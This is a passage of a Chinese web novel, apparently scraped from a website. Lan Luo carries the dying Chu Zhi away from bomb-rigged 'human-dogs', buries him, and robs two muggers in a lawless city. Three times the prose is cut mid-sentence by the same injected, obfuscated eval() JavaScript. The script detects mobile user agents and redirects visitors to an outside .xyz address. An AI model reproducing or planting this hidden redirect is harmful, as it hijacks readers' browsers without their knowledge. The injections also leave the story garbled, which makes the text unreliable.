怪不得陆家有钱呢,都是抠出来的。 “咳……咳咳咳……” 楚知偏过身子,揪着地上的草疯狂咳嗽。 兰落的视角只能看见他的侧脸和脖子,上面还有干涸的血渍。 “你能活吗?” 她有点不确定,楚知的生命力向来是个谜。 楚知没有回答这个问题,捂着嘴闷闷咳嗽。 他不说,兰落也不在意了,她看了眼天色,已经差不多黑透了。 该走了,继续待在这里的话,万一肃哥摇人过来就不好了。 她提着楚知的衣领把他翻到自己背上,然后两手一松:“扶稳。” 楚知一言不发,手臂有气无力地挂在她的肩膀上。 兰落见他准备好了,就开始朝一个方向走。 她没有目的地,两颗心脏暂时还没有完成融合,她既不能招摇过市,也不能被基地找到,必须先找个地方完成融合才行。 等她真正融合了全部的不死之力,一定要让该死的实验室付出代价。 “所以,”兰落收回心思,“人犬是怎么工作的?总不能就这么漫无目的在外面乱晃吧?” “还有他们脑子里的炸弹,是怎么回事?” 楚知的头垂下来,蚊子一样喃喃:“训练,用不同的目标训练他们的特殊反应。 “比如在某把刀上涂上某个人的气味,用这把刀不停攻击人犬,人犬对这种气味就会格外敏感,在野外会凭本能追踪这种味道,然后攻击。” “很多人犬都抗不过这关,因为基地只会给发狂的人犬打麻醉剂,不会给受伤的人犬任何治疗,他们的环境又很脏,经常会因为伤口感染死掉,连离开基地的机会都没有。” 兰落总觉得他声音不大对劲,但也没放在心上,奔波那么久,累了也正常。 “人犬离开基地也不见得是什么好机会。” 她把楚知往上掂了掂,淡淡开口。 抓不到人就只能像行尸走肉一样四处游荡,抓到人了又大概率被杀死,就连尸体也会被脑中的炸弹炸碎。 除了沦为树木的养料,他们的死亡没有任何意义。 ——还会给她添堵。 想到人犬都是奔着自己来的,兰落就一阵烦躁。 “那基地怎么知道人犬找没找到我?还有炸弹呢?”她问。 楚知没说话,兰落偏头往后看,他的脑袋垂在自己的肩膀上,眼睛眯成一条缝。 她摇了摇肩膀:“你怎么了?” 楚知保持着这个姿势,小声解释:“人犬被训练过之后,都会下意识躲避活人,除了目标对象。” “他们脑子里的炸弹里装有定位系统,只要人犬死了,炸弹就会爆炸,爆炸的瞬间定位就会传回基地。” “所以,”他继续说,“我们的位置应该已经暴露了。” 兰落皱着眉头:“可是人犬也不一定就是被我弄死的啊,万一是不小心死掉了怎么办?” “而且我们都是活的,又不会站在原地让他们来捉,等基地的人找到这里,我们早就走远了。” 就比如现在,兰落的速度一直没降下来,他们距离爆炸点已经非常远了。 “哈,”楚知轻笑,“意外死亡的概率比较低,反正只是损耗品,死几个基地也不会心疼。” “他们不会单独行动,一般都会同时派出很多人犬在不同方向搜寻,这样就能通过他们的爆炸轨迹来推算你的路线。” 真就走一路炸一路呗。 兰落心里对陆观的印象又下降了一点。 她之前一直觉得他是个财大气粗出手阔绰的家伙,现在看来,也是个抠门货。 但凡派点高科技来追踪她,她还能有些成就感呢。 派群没用的智障来追,她连紧迫感都没了。 “那得到我的路线之后呢?派人来捉我吗?”兰落猛地跳上一棵树,站在高处观察四周。 楚知被颠了一下,脑袋砸在她的肩膀:“嗯。” “也可能直接把你杀了,我不确定。” 兰落眺望了一下远方,晚间的森林里不太安静,经常有窸窸窣窣的声音。 “说得好像你不用死一样。”她眯着眼睛看左前方,随口一说。 楚知费力抬起脑袋:“我……” “嘘——” 兰落打断他,目光如炬:“来了。” “什么来了?”楚知不明所以,但乖乖把声音放低。 “人犬。” 她慢慢蹲在树上:“你说对了,他们还真是成批出来的。” 兰落的目光锁定在前方摇晃的草丛里,抬抬下巴示意楚知看过去。 草丛里有个费力挣扎的人犬,应该是被藤蔓缠住了,对着自己脸边的藤蔓一边龇牙一边低吼,十足的智力低下。 它挣扎了一会儿就扯断了这些藤蔓,一瘸一拐地往前走。 兰落这才发现它的左腿断了,软软地拖在地上,细看还能看见伤口里厚厚的泥土。 但断腿丝毫没影响到人犬的行动,它在空气中嗅闻着什么,然后渐渐朝兰落走来。 兰落听见自己的心脏在怦怦跳,疼痛感也随之蔓延。 这只就不杀了,防止基地找到自己的踪迹。 兰落想了想,小心翼翼把楚知放在树上,抽出匕首,准备下去帮它做个截肢手术。 没腿就追不上她了。 人犬已经走到了这棵树下,只需一抬头就能发现他们两个。 兰落举起匕首,悄悄蓄力。 “嗬——” 人犬叫了两声,头也没抬,皱着鼻子和这棵树擦肩而过。 怎么回事? 人犬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918231|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼻子不行啊。 兰落对楚知使了个眼色,满脸都是怀疑。 “不是说专门追踪吗?怎么这都发现不了我们?” 她压低嗓音,看着无头苍蝇一样的人犬。 楚知没有回答她,兰落回头,才发现他已经闭着眼睛,歪头靠在树干上了。 要不是胸口还有起伏,兰落差点以为他死了。 她耸耸肩,不再管楚知,干脆利落地跳到人犬后方,站到离它只有一米左右的地方。 人犬耳朵动了动,明显是听到了她的声音,却没回头,甚至加快了速度想要避开她。 不是来追她的? 可是之前那个人犬对她就很穷追不舍啊。 兰落双手叉腰,审视着人犬跌跌撞撞的背影。 她的手指触到一小块硬硬的东西,兰落伸进口袋一摸,才想起来这是从兰升腿上扣下来的子弹壳。 子弹? 一个念头从兰落的脑海划过,她握着子弹壳,抬脚靠近人犬。 人犬虽然走不出直线,但仔细观察就能发现,他的步伐是朝着另一个人犬尸体所在地去的。 如果没记错的话,第一个人犬是在她开枪后才展现出极高的攻击性的,甚至会追着枪和子弹。 楚知说基地会用气味训练他们,兰落下意识觉得是自己身上的气味,可她在基地不一定能留下什么气味,就算有也非常微弱。 如果是枪,那就不一样了。 兰落摊开手掌,把子弹夹在两根手指中间,朝侧面用力一扔,空弹壳“嗖”的一下钉在了不远处的树上,把树凿出一个小坑。 人犬在子弹出现的瞬间就调转了方向,探着脑袋不停嗅,子弹飞出的时候,它直接双腿一蹬,飞扑到那棵树上,开始撕咬树皮。 它们的目标还真是子弹,尤其是运动的子弹。 兰落庆幸自己已经把枪扔了,能给自己省不少麻烦。 也许只是这批人犬在追枪,其他人犬追的可能是她的气味,但能少一点是一点,总好过被所有人犬追。 她把匕首在手上绕了几圈,走到人犬身后,对准它的左腿就是一刀! 猩红的血液飞溅,染红兰落半边袖子。 她眼神不变,冷脸砍掉了人犬的左腿,任它跌倒在地扭动着。 这样它就跑不动了。 兰落翻身上树,拽着楚知就要带他离开这里。 沾着血的袖口被人握住,楚知掀起衣角,擦了擦她的手腕:“给他个痛快吧。” “炸了怎么办?” 兰落不理解他的多此一举,现在杀了人犬,对他们只有坏处没有好处。 “这样他活不久的。” 楚知的脸格外苍白,发灰的眼睛里隐隐有恳求之色:“我希望能减少他的痛苦。” “人犬没有智力,感知不到你说的这些。” 兰落抽回手,在自己的衣服上擦了擦匕首。 她垂眸,心中暗想:不要在逃命的时候矫情,再这样的话,就把他扔在这里陪人犬。 “杀兰升的时候,也没见你这么慈悲。” 兰落冷下脸,出声嘲讽他,甚至有了点不易察觉的怒火。 楚知的脑袋垂下来,没有活力的眼睛里有淡淡的哀伤。 兰落没什么反应,这样的眼神她看得多了。 兰升的眼睛里,就总有这种虚浮的慈悲。 35. 赶路 最后兰落还是妥协了,怒气冲冲地拎着断了腿的人犬,跑到森林深处给了它一刀。 匕首扎进微硬的脖颈,热腾腾的血液喷薄而出,把满地的草都染成红色。 兰落把它扔到几米开外,站在原地看人犬抽搐了几下,然后就被炸成了碎片。 肉块像下雨一样啪啪掉了满地,兰落踹开掉在自己鞋尖上的一只手,没好气地回到了楚知身边。 她现在浑身是血,散发着难闻的腥味儿,等这些血干了,指不定还要更难闻。 兰落故意不擦手,直接背起了楚知,让新鲜的血糊了他一身。 “他死了吗?” 楚知没在意脸上沾着的血,轻声问她,好像刚刚的不愉快都不存在一样。 兰落看完了人犬炸的烟花,心里也顺畅了一点,忽视着心脏的疼痛,故意说:“没有,他说他不想死,让我饶他一命,但我手起刀落终结了他。” “是吗。” 楚知不说话了,额头抵在兰落肩膀。 他的体温很低,微弱的呼吸隔着衣服扑打在兰落的皮肤上,像开了空调一样。 她有了一点预感,闭上嘴巴不再说话。 兰落刚刚其实想实话实说,告诉楚知人犬炸成了碎片,黏在地上拼都拼不起来。 但她忍住了,看在他虚弱的份上。 如果是兰升听到这种话,肯定会抿着唇不说话,呆呆地用悲伤的眼睛盯着她看。 楚知刚刚的眼神太像兰升了,所以她下意识的没说实话。 但仔细想想,楚知在基地待了那么久,能屈能伸能杀人,怎么可能会被人肉炸弹吓到。 要是兰升还活着,她就要把人绑在一边,让他看着人犬被炸碎,吓死他这个圣父。 胸腔传来刺痛,像是兰升的报复。 兰落捂着胸口停下脚步,小口小口呼吸,缓解着越来越剧烈的疼痛。 死心脏,看不得她过得舒服。 楚知似乎被她惊醒,声音干哑:“你没事吧。” “没事。”兰落恢复了正常的神色,松开手若无其事往前走。 心脏的副作用没必要告诉别人,这是她目前最大的弱点,多一个人知道,就多一分危险。 “我曾经,就被作为人犬培育。” 楚知突兀开口。 “但是他们失败了,刚进行手术我就开始发狂,当时研究员都会随身带着麻醉枪,为了抑制我。” “后来我就觉醒了预知异能。”他说。 “我那时候一心求死,但总能预知到很多美好的画面,吊着我。” 兰落从来不知道楚知也差点变成人犬,她的眼神里带着一点茫然,有些不明白他为什么突然开始回忆往昔。 楚知声音很小:“刚刚我做了个梦。” 兰落眼神更茫然了,不明白他为什么开始转变话题。 “……什么梦?”兰落问。 “我梦到,”楚知突然笑了几声,“梦到我去上军校了,还是优秀学生代表。” 兰落没忍住:“你做梦呢。” “嗯,是做梦。” 兰落听见他在笑,很释然的样子。 是因为知道了五人组的窝囊样子所以对成为军校优秀学生代表祛魅了吗? 兰落突然想起什么,转头问他:“所以你一直预知的美好未来是什么?” 她不止一次听到楚知提起自己预知里的美好未来,到底是多美好的未来,才会让他整天狼狈求生,卑微乞活。 “我预知到,”楚知声音越来越低,“我进入了军校,成为了……优秀学生代表……” “那不是个梦吗?” 还是他刚做的梦。 “嗯。”楚知点头。 兰落沉默,也不知道该说些什么了。 他整天挂在嘴边要死要活的未来,其实就是个梦。 她就说他的预知异能很差劲吧,预知半天,预知的只是一个梦。 谁也没再说话,安静的林子里只有零星几声鸟鸣。 天边已经隐隐出现一抹光亮,夜快过去了。 兰落盯着东边的一丝晨光,抬脚向东方走去。 “谢谢你。” 走出森林的瞬间,楚知仰起头,没头没脑地说了一句。 兰落问他:“谢我什么?” 楚知没有回答,反而岔开话题:“我再给你预知一次吧。” “别了。” 兰落现在非常不信任他的异能。 “我预知到,”楚知没听她的,坚持说下去,“你会变得很强大。” “废话。”这事不用他说她也知道。 “你的身边出现了很多人,他们都很爱你。” 兰落抿唇,没有回应这句话。 “我……” 楚知吸了吸气,似乎有话要说。 等了几秒,身后都没有传来声音,兰落偏了偏身子去看他。 挂在她肩膀上的手臂软软地滑了下去,垂在半空中,随着她的动作微微晃动。 楚知嘴角放松,眼睛已经闭了起来,像是在做一个美梦。 也许梦到自己成为优秀学生代表了。 兰落维持着背着楚知的姿势,在原地静默地站立着。 “啪嗒——” 一片叶子掉在她脚边,兰落低头观察落叶。 背上的人失去支撑朝后仰,只有一双腿还被兰落的双手扶住,半掉不掉地倒在半空中。 兰落松手,楚知安静地掉在地上,没有生息。 她回头看楚知的尸体,脸上没什么表情。 他们都预料到了这个结局,不是吗? 兰落心底隐隐松了一口气,楚知不良于行,要是一直带着他,对她来说也是负担,现在死在这里刚刚好。 两颗心脏又开始乱扑腾,兰落疼得两眼一黑,揉着胸口叹了口气。 “唉……” 她抱起楚知的尸体,钻进林子里,找了棵看起来营养不良的树开始挖洞。 就当给树施肥了。 兰落把匕首上的泥巴擦干净,在土堆前站了几分钟就走了。 她有自己的事情要做。 兰落边走边把发绳摘下来,用手作梳子,把乱糟糟的头发重新拢起来。 这根头绳上全是血臭味,兰落闻了闻,实在下不去手了。 她掏出口袋角落里的小兔子发绳,给自己扎了个简单的马尾,甩甩头发离开了。 不用继续背着楚知,兰落的步伐轻快了许多,她灵活地穿梭在晨雾弥漫的野外,呼吸间都是草木的清香。 兰落暂时没有去处,小息城一带她是待不下去了,未城那边又是陆观的老巢,去了就是自投罗网。 那就……往西边去吧。 西边比较混乱,更适合藏身。 兰落眯着眼睛辨认了一下太阳的位置,转身朝着相反的方向走去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928285|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她的心脏一直在痛,但痛感已经不太强烈,两颗心脏似乎开始疲惫了。 习惯了这样的痛觉,兰落不再关注胸腔里的动静,一刻不停地赶路。 听说西边有的城市是散城,对入城者的身份没有任何要求,以她现在被至少两股势力记恨的状态来看,散城才是最适合她的。 散城说白了就是散装的城市,游荡的人走到这里就在这里住下,大家零零散散地聚集在这里,就形成了一座城。 说是城市,其实只是在废弃城市的旧址上加固一下,缝缝补补又三年,连正儿八经的城市管理都没有。 兰落掏出通讯器,在地图上敲敲点点,找到了离她最近的一座散城。 这座城的名字叫“细鬼城”,地图解释说因为这里从前是难民聚集地,被腐蚀雨影响的难民都面黄肌瘦,很多都直接饿死在城里。 细鬼细鬼,就算饿死变成鬼,也是骨瘦如柴细细一条鬼。 兰落从没去过细鬼城,未城算是大城市,待在城市里就能满足日常生活的全部需求,再加上跨城需要穿过野外,抵御腐蚀雨的成本比较高,所以普通人很少出城,更别提去细鬼城这种穷地方。 兰父兰母就是典型的例子,没有异能傍身,一辈子都待在未城里,只有送她去实验室的时候才勉强去了城郊。 也许他们也陪兰升去军校报道了,但那时她已经在实验室,没有参与。 不知道他们看到兰升的尸体会是什么样的心情? 会哭吗? 就像她走进实验室那天一样,依依不舍,嚎啕大哭。 “噗——” 想到这个场景,兰落竟然没忍住,笑出了声。 有点滑稽,真想亲眼看看。 她捂住绞在一起的心脏,疼得冒汗,恨不得把手伸进去分开它们。 没有关系,再忍忍,再忍忍就好了。 等完成融合,她就能真正拥有完整的不死之力了。 兰落的脑海里自动播放着不死之力的相关知识,像粗糙的教学视频一样闪烁着。 ——不死者,不惧伤不惧痛,可断肢重生、死而复生,与天地同寿,同日月恒久。 脑中第三次出现这段话时,兰落已经站在了细鬼城外。 这段洗脑每天出现一次,到现在为止已经第三天了。 整整三天,兰落不吃不喝不停顿,一口气跑到了这里。 她现在的身体,即使三天不进食,也只是有强烈的饥饿感而已,如果换做普通人,别说赶路,恐怕站都站不起来。 兰落对比了一下地图,确定这里就是细鬼城,把通讯器塞进口袋,把破破烂烂的衣领拉到最高,挡住小半张脸。 野外条件有限,希望没有人会注意到她身上这件满是血迹的衣服—— ——才怪。 兰落余光注视着跟在身后的两个男人,神情自若地走进一条小巷,双手背在身后,悠闲得像在自己家一样。 细鬼城的街上人不多,但刚刚兰落一踏进城门,阴影里就窜出了两个样貌普通的男人,低着头跟在她身后。 兰落不想惹麻烦,更不喜欢别人给自己添麻烦。 正好,她现在身无分文,肚子也已经饿得咕咕叫了。 送上门的羊,不宰白不宰。 巷子越走越深,光线越来越弱,脚步声越来越近。 兰落停下,双手插兜转过身子:“二位,谋财还是害命啊?” 36. 要钱 兰落边说边观察他们,这两个男人身量中等,左边的穿着黑夹克,右边的穿着白短袖,长相也属于丢在人堆就找不到的类型。 细鬼城不愧是散城,混乱又无序,光天化日可以放任地痞敲诈勒索。 在未城是没有人敢这样做的,光明正大尾随他人的,不超一天就会被扔进城市监狱接受改造。 这两个男人看到兰落转身,也愣了一下。 他们似乎没想到兰落敢直接点破,脸上带着一点慌乱,尤其是黑夹克,一张大脸上就差写着“心虚”两个字了。 “什么什么东西,谁跟你谋财害命了?进城要交保护费你不知道?乡巴佬。”黑夹克手一摊,不耐烦地说。 “快点,给钱!” 兰落看他眼珠子乱转手乱颤的样子,怎么也不像熟手。 “没钱怎么办?”兰落问。 “没……没钱?”黑夹克磕磕巴巴地重复了一遍,收回手,悄悄瞟右边的白短袖。 白短袖冲他使了个眼色,然后直视着兰落,冷着脸一脸笃定地开口:“没钱敢来细鬼城?我可不信你的鬼话。” “转身抱头,我们自己搜。” 黑夹克双手抱胸,笑得一脸猥琐:“不想被搜身的话,就自己乖乖把钱交出来。” “等我搜你的身,可就一分钱都不会给你留了。” “这就是细鬼城的城市文化?”兰落没听他们的,反而故意一脸不屑,“如果是在别的城市,你们这样的,已经被送去城市监狱服刑了。” 这两个人虽然在敲诈勒索,但一直没有要动手的迹象,尤其是那个白短袖,从始至终都站在稍远一点的地方观望。 只有这个黑夹克,时不时往前凑,看起来胆子大一点。 兰落悄悄看他一眼,他长得就是一副恶徒样子,配上刚刚的几句威胁,如果站在他们面前的是个普通人,应该早就为了保命乖乖交钱了。 可惜她不是普通人,也最不怕威胁。 兰落倒不是故意激怒他们,只是三天没吃饭,饿得浑身难受,心脏也越来越痛,想要扯开话题拖延一点时间。 她已经摸出规律了,这两颗心脏都是一阵一阵的疼,疼久了就会陷入疲惫期,让她安稳一会儿。 最好拖延到心脏不疼了,她也就不需要束手束脚,直接制服这两个人,掏空他们的钱包。 兰落初来细鬼城,不想杀人惹麻烦,但如果被她发现这两个人也是穷光蛋,那他们就去死吧。 “大城市来的了不起?装什么装?”黑夹克不以为意,“喜欢蹲监狱你自己蹲去,没监狱多好,想干嘛就干嘛,弄死几个也……” “别跟她废话!” 白短袖脸上带着不高兴,制止了黑夹克越来越发散的思维。 黑夹克把嘴一抿,不说话了。 他很听白短袖的,兰落视线在他们身上转了一个来回,明白白短袖才是这两个人中的主心骨。 黑夹克一手叉腰,一手朝兰落勾着:“快点,把钱拿出来!” 兰落面无表情,这幅样子落在二人眼中就是一副宁死不屈的倔强。 但兰落并没有伪装坚强的意思,她只是单纯疼得眼前发黑,陷入了短暂性的失明。 她后退半步,把手伸进衣服里,握住匕首。 眼前慢慢恢复了一点光亮,兰落小口小口呼吸,调整着自己的状态。 ——不行了,她要吃饭。 再跟这两个傻叉男人拖延下去,她真的要饿晕了。 兰落在眼前恢复正常的瞬间就拔出匕首,毫不犹豫地刺向黑夹克的脖子! 精密的匕首闪着冷光,兰落不带情绪的眼睛映射在刀刃上,比刀更冷。 “再不给钱……” 黑夹克的威胁只说了一半,剩下的一半被匕首打断。 他瞪着眼睛,瞳孔快速缩小,似乎没想到兰落会突然出手:“靠!” 黑夹克盯着匕首,闪身向后退去:“你有刀?怎么不早说?” 他的动作竟然出奇得快,即使兰落现在的视力和速度都提升了很多,也只是能刚好判断他的动作而已。 看他的体型,不像是这么灵活的人啊。 兰落暗道自己轻敌了,把匕首转了个圈反握在手里,追着黑夹克往前走。 匕首再锋利也不如枪来的方便,要不是没子弹了,人犬又爱追着枪,她才舍不得丢下那么好用的东西呢。 黑夹克两手空空,压着眉毛,小小的眼睛挤成三角形,目露精光看着兰落。 “什么人啊,一言不合就动手。” “我跟你折腾这么久也没动手啊,你急什么,把钱拿出来不就……” 兰落不听他啰嗦,腾空而起,一脚踹向他的面门。 他们刚刚退了好几步,现在跟白短袖的距离也缩短了不少,兰落只要一击拿下黑夹克,之后就能立马拿下白短袖。 她也不怕他们一起上,白短袖虽然体格不错,但脚步虚浮,又总是躲在黑夹克身后,一看就知道武力值不行。 黑夹克回头看了一眼,没有选择后退,反而双手挡在身前,准备正面挡下兰落的这一脚。 兰落不知道他哪里来的自信,她现在的力气可不是一般人能比拟的,一脚下去,除非这男的是强化异能,否则不可能接得住她。 兰落脚还没落下,先急的反而是白短袖。 “躲!” 白短袖一脸焦急,但这种急切的表情落在一张凶狠的男人脸上显得格外奇怪,有种壮汉绣花的违和感。 黑夹克没听他的,咬着牙接下了兰落的一脚。 清脆的骨头碰撞声在小巷里响起,兰落收回脚后退两步,转头奔向白短袖,手里的匕首高高举起。 白短袖仰着头,还没来得及躲避,黑夹克就闪到了他面前,抡起拳头挥向兰落。 兰落侧身躲过,一把抓住黑夹克的手腕,用力一捏! “呃……” 黑夹克发出细小的痛呼声,然后死死咬住嘴唇不再呻吟,抬起左手,用力握拳直冲兰落的太阳穴! 兰落刚刚的一脚已经踹裂了黑夹克右手的骨头,脆弱的右手经不起兰落第二次用力,整条小臂都有些扭曲了。 献祭了一条手臂还不够,黑夹克左拳带风,迅速攻向兰落。 兰落已经感受出来了,黑夹克有点实力在身上,不是完全的花架子,但不知道为什么一直束手束脚的,没有放开了打。 如果他使出全部力量的话,兰落也不可能这么轻易弄断他一只手。 虽然不明白原因,但现在优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938937|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势在她,兰落没必要陪着他束手束脚,当即甩开了黑夹克的右手,左手摊开接住他挥来的左拳,固定住他的攻击。 兰落余光时刻注意着另一个人,但白短袖只是在原地踌躇了一下,并没有上前。 她收回视线,用力一摔,将黑夹克整个人都抡到了墙壁上,单手固定住他,锋利的匕首紧紧压在黑夹克的脖子上。 黑夹克下意识吞咽一下,喉咙起伏时,刀刃直接嵌在了薄薄的皮肤里,压出一道红痕。 他的眼珠子向下看,目光牢牢锁在匕首上,一动不动。 “哎!” 兰落刚要下刀,白短袖终于出声了:“慢着!” 兰落目露烦躁:“已经很慢了。” 要不是她现在很累,在他们两个人走进巷子的第一秒,她就已经杀了他们,然后掏空他们的钱包去吃饭。 自从被送去实验室,兰落到现在都没正儿八经吃过一顿人饭,现在更是一连饿了三天,活得简直不如野人。 想到这,兰落更烦了,匕首不自觉下压,压得黑夹克喘不过气。 “咳咳……” 他低声咳嗽了两下,视线始终没从匕首上挪开。 白短袖看到这一幕,跺了跺脚:“行了,我们不跟你要钱!” “看你这身打扮,又一个人出现在细鬼城,多半是黑户吧?” 白短袖半是猜测半是笃定地问兰落,余光注意着黑夹克的动静。 兰落的视线在他们两个身上飘了几下,白短袖的着急不像作假,黑夹克目光如炬盯着匕首,怕死的样子也不像是假的。 “所以呢?”她问。 白短袖吸了一口气,慢慢说:“既然是黑户,那就没什么好说的了,细鬼城基本都是黑户,大家都是同道中人,几斤几两都心知肚明。” “你身上一定没钱吧?所以才敢让我们跟着你。”白短袖抬着下巴,“有钱的人,都小心翼翼,生怕被别人发现身上有值钱东西。” 兰落不置可否。 白短袖说的也没错,她确实没钱,但这不代表她身上没有值钱东西。 ——兰家的宝贝儿子,军校的宝贝疙瘩,兰升的心脏,就挺值钱的。 “在细鬼城,没有钱很难混下去,”白短袖继续说,“你放了他,我给你钱,足够你在细鬼城周转一阵子。” “凭什么!” 黑夹克不再看匕首了,回魂了一样大叫着:“凭什么把钱给她!” “我们的钱也是辛辛苦苦挣来的,我又不是打不过她,而且你的身体……” “闭嘴!”白短袖瞪着黑夹克,恶狠狠吼他。 黑夹克脖子一缩,不说话了。 兰落却看着他的脖子,若有所思。 刚刚黑夹克情绪很激动,说话的时候一直在乱动,兰落也不是个心慈手软的,不会因为他乱动而放松压制,所以黑夹克好几次都直接撞在了她的刀刃上。 这匕首是捡的肃哥的,应该是军校统一的武器,质量没得说,刀刃非常锋利,连人犬都能轻易杀死。 兰落之前也用指腹试过,她的手指几乎在碰到刀刃的一瞬间就被划出了一条血线。 但—— 兰落看着不太服气的黑夹克,他的脖子上,怎么一点伤痕都没有? 37. 衣服 正常人撞在匕首上,会毫发无伤吗? 兰落眼神微动,心里的怀疑开始蔓延。 她第一反应是黑夹克有身体强化的异能,但刚刚她很轻易就弄断了他的右手,如果他真的能够强化身体,没必要刻意被她弄伤。 所以兰落立刻排除了这个猜测。 或者说,和她一样,这个黑夹克也有自愈能力? 不,这不可能,即使是拥有两颗心脏的她,也不能做到不受伤,只不过自愈速度很快罢了。 黑夹克的样子,简直像根本没受伤。 治愈系异能? 不,还是不对。 兰落上学的时候接触过治愈系异能者,他们的治愈异能有先天的限制,发动起来非常缓慢,不可能以肉眼看不到的速度快速愈合。 这到底是什么? 兰落脑中冒出了无数想法,但人的大脑运作的速度很快,所以现实里也只是过去了几秒钟而已。 黑夹克敏锐地捕捉到了兰落的走神,屈起手肘狠狠捅了兰落一下,在兰落没有反应过来的瞬间偏头扭腰,从匕首的禁锢下挣扎了出来。 兰落的匕首擦过黑夹克的脸颊,没有留下一丝痕迹。 她捂着胸口,狐疑地看了一眼手里寒光毕现的匕首。 肃哥这东西有问题吧! 兰落真想把肃哥摇出来,扇他几巴掌问问到底是怎么回事,难不成一把匕首还需要认主才能用? 黑夹克这一肘力气不小,角度又刁钻,刚好撞在了兰落的胸口,把难得老实下来的心脏捅得怦怦乱跳。 兰落怕这两人趁虚而入,不敢表现出自己的疼痛,装作若无其事的样子冷眼看黑夹克。 黑夹克站在白短袖身前,把他挡了个严严实实,一脸警惕地和兰落对视。 兰落缓几秒,觉得现在的疼痛已经在自己的忍受范围之内了,就立刻握刀向前,迎着黑夹克过去。 黑夹克也不甘示弱,把白短袖往后一推,甩腿要踢兰落。 “够了!” 一声怒喝响起,黑夹克的动作顿在原地,保持着抬起一条腿的姿势。 兰落的刀尖堪堪停在他的鼻尖前,几乎快要碰到他的皮肤。 她偏开视线,只看见白短袖两只手一起拽着黑夹克的后领口,脸上满是不耐烦。 “我说够了!” 白短袖松开手,把黑夹克推到一边,走上前面对兰落:“既然你没钱,那我们就不是敌人,没必要争个你死我活。” 兰落没回应,转头看了看黑夹克,他看起来可不像是这么想的。 黑夹克面脸都是不服气,偏着脑袋不看兰落,撇着嘴,耳朵却高高竖起。 ……有点恶心。 兰落真心实意地有点想吐。 她把目光移到白短袖脸上,白短袖长得也不好看,但至少表情正常,不让人犯恶心。 “给钱。”兰落不想再看这两张丑脸,直接伸手要钱。 白短袖叹了口气,把手伸进裤子口袋里,掏出了一个样子普通的钱包。 钱包有点老旧,棕色的皮面已经有点斑驳,边角上也磨得发毛,乍一看就像穷人舍不得换的老钱包。 白短袖像是看出了兰落的质疑,当着她的面打开了钱包。 兰落看着钱包里鼓鼓的钞票,挑了挑眉。 黑夹克也探着脑袋,眯起眼睛看钱包,嘴里喃喃着:“这么厚……” “自己验。”白短袖没有丝毫留恋,把钱包合起来扔给兰落。 兰落接过,把匕首叼在嘴里,双手掰开钱包,用食指点了点,确实都是钞票。 她又抽出来一张,对着光仔细辨认了一下,质感不错,应该是真的。 “噗——” 黑夹克突然笑了一声,意义不明。 兰落瞥他一眼,把钞票塞回钱包:“笑什么,你们的钱有问题?” “你才有问题!” 黑夹克看了一眼白短袖,跳起来大叫。 白短袖一脸无语:“行了,没问题,都是真钱,不信你拿去花。” “就是!”黑夹克嚷嚷,“我就是笑你没见过世面,是不是觉得这钱太多了不敢相信?哼,目光短浅,这点钱在细鬼城算什么啊,两天就花光了。” 兰落摩挲着钱包:“那我勉强放你们一马。” 两个男人听到这话,对视一眼,互相点了点头,绕过兰落就要离开这里。 白短袖背对着兰落,走得又快又稳,黑夹克像是不放心,始终正面对着兰落,一边后退一边看她。 “慢着。” 兰落把钱包在空中抛了抛,不紧不慢喊住他们。 白短袖率先停下脚步,没有回头。 倒着走的黑夹克一时没刹住,撞在了白短袖的背上,看向兰落的视线满是警惕:“干嘛?” “细鬼城有没有商业街,美食街也行。” 兰落不停抛着钱包,假装没看见他的敌意。 黑夹克刚要开口,白短袖就抢先一步说:“出了巷子一直往前走,走到断头台。” 好不吉利的名字。 但兰落不信这些,反正这座城都已经叫细鬼城了,还指望这里能有多好听的地名? “然后呢?”她忍着心脏的不适和胃里的空空荡荡,继续问。 白短袖扫了她几眼,缓慢开口:“断头台算是细鬼城的知名地标,到了断头台,沿着大路往前走一段,出现第一个岔路后左转,进去就是集中做买卖的地方。” “但友情提醒,”白短袖扯着黑夹克转身离开,“细鬼城物价很高,好自为之。” 兰落把玩着鼓鼓的钱包,等二人又走了几步才开口:“再慢着。” 这次白短袖没回头,反而是黑夹克先一脸厌烦地开口:“又干嘛!一次性说完!” “少在这叽叽歪歪浪费时间!” 白短袖没制止,显然也是这个态度。 兰落举起匕首指着黑夹克,一脸理所当然:“把你衣服脱了。” 白短袖转身,一脸狐疑地看她。 黑夹克捂着衣领,也是一脸不明所以:“你干什么?” 兰落低头看了一下自己身上破破烂烂的衣服,上面已经凝固了不少血渍,又脏又臭,再穿下去她就要吐出来了。 “把衣服脱了,然后你们两个走人,听懂了吗?” 兰落看在钱的份上,压着不耐烦一字一顿地开口,匕首指着小巷子的出口。 